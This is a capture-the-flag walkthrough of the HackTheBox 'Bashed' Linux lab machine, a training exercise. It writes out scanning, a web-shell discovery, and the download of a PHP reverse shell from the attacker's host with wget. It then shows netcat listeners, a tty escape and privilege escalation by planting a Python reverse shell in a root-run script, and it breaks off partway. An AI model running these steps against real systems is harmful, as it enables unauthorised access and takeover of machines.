HTB BASHED WALK-THROUGH

HackTheBox is an excellent platform for various pen-testers to increase their testing skills and knowledge.
Machine Level -Easy
Machine Name -Bashed
Machine OS -Linux
Machine IP -10.10.10.68
Tools:
Nmap -Nmap is a fantastic tools for scanning the open ports, services and OS detection. You can use other tools other than nmap (which ever you are more comfortable with ) like masscan, SPARTA etc. to scan for open ports.
Method:
First step is always to scan the machine , so start a nmap scan , use the command

sudo nmap -sSVC 10.10.10.68

,this will scan for open ports and services on the host.

We see that only one port is open. (i.e. port 80) and it is running a Apache server.
Lets visit the site 10.10.10.68

We see that there a lot of content about "phpbash". That's some useful information.
Click around to see if you find something useful.
There's nothing much to see here. So lets use 'DirBuster' for directory busting and see if we find something interesting.

We see a phpbash.php page in dev folder.
Lets visit this page.

There is a bashed interface , move around and grab the user flag. As you can see by whoami command that we are not root , so we cannot grab root flag right away.
Lets try and see if there is a path with root privilege and no password.
Use the command sudo -l

We can see scriptmanager with no password.
Try sudo su scriptmanager to see if we can change our privilages.
It fails, and says no tty present.

Lets see if we find something more useful in DirBuster , we can see a uploads folder. Seems like we can upload files here. Lets visit this page.

It is blank. But we can upload files here.
Lets see if we can upload a php and get a reverse shell.
Search for php reverse shell on google.

Click on this one.
Scroll down to see download link for php file.

It says we need to do some changes in the file. Lets download this and extract it.

Open the php file and make the modification and the save it with a name of your choice(mine is rev.php)

We need to the changes here.

Put your own ip here.(If you wanna change the port you can , I am using the same)

Now , we need to upload the file to the machine.

First lets host a server from our side.

You the command sudo python -m SimpleHTTPServer 80

(we are hosting our server on port 80)

Now we need to download the file , first change the directory to uploads folder and then use the command wget http://10.10.14.2/Desktop/rev.php
(this command tells the server to download(wget) the php file from our ip address and we also provide the path of the php file to be uploaded.)

Transfer successful. Lets just verify that it is there.

Its there, now we need a listening port on our side. Use the netcat command to set up the listening port nc -nvlp 1234

Now we need to run the php file.

Now, see if you get a reverse shell.

We are connected. But still the shell is unstable.
Lets see if we can spawn the tty shell.
Search for tty escape on google.

Visit this one.

Replace the sh with bash and run it in the opened shell.

Its imported , now lets escape the tty shell and see if we can change our privilege.

Now we are scriptmanager . Verify it by command whoami

Now we need to find a way to become root.
Do ls -la and see if u find some unusual directory.

We see all others require root privileges except one named scripts.
Change the directory to scripts and see what in the directory.

There are two files named test , one is a python file with scriptmanager and a text file with root privilege's. Lets see what's in the test.py file

If you see the modification time for the test.txt file, its the current time. This means that if we run test.py file then it gets executed in test.txt file which is a root privileged. Lets exploit this.
Lets search for python reverse shell on google.

Lets visit this one.

Now copy everything except python -c
Paste it in a new file (named test.py)
We need to make changes inhere :
1) change the listening IP and port
2)change sh to bash
Save the file.

Now we need to create a new listening port .
Use nc -nvlp 2345 command to start a netcat listener.

Now lets host the server for file upload.
Use sudo python -m SimpleHTTPServer 80

Now lets grab the test file. But before that we need to remove the existing test.py file else our file will get renamed.
Use the command rm test.py to delete the existing file.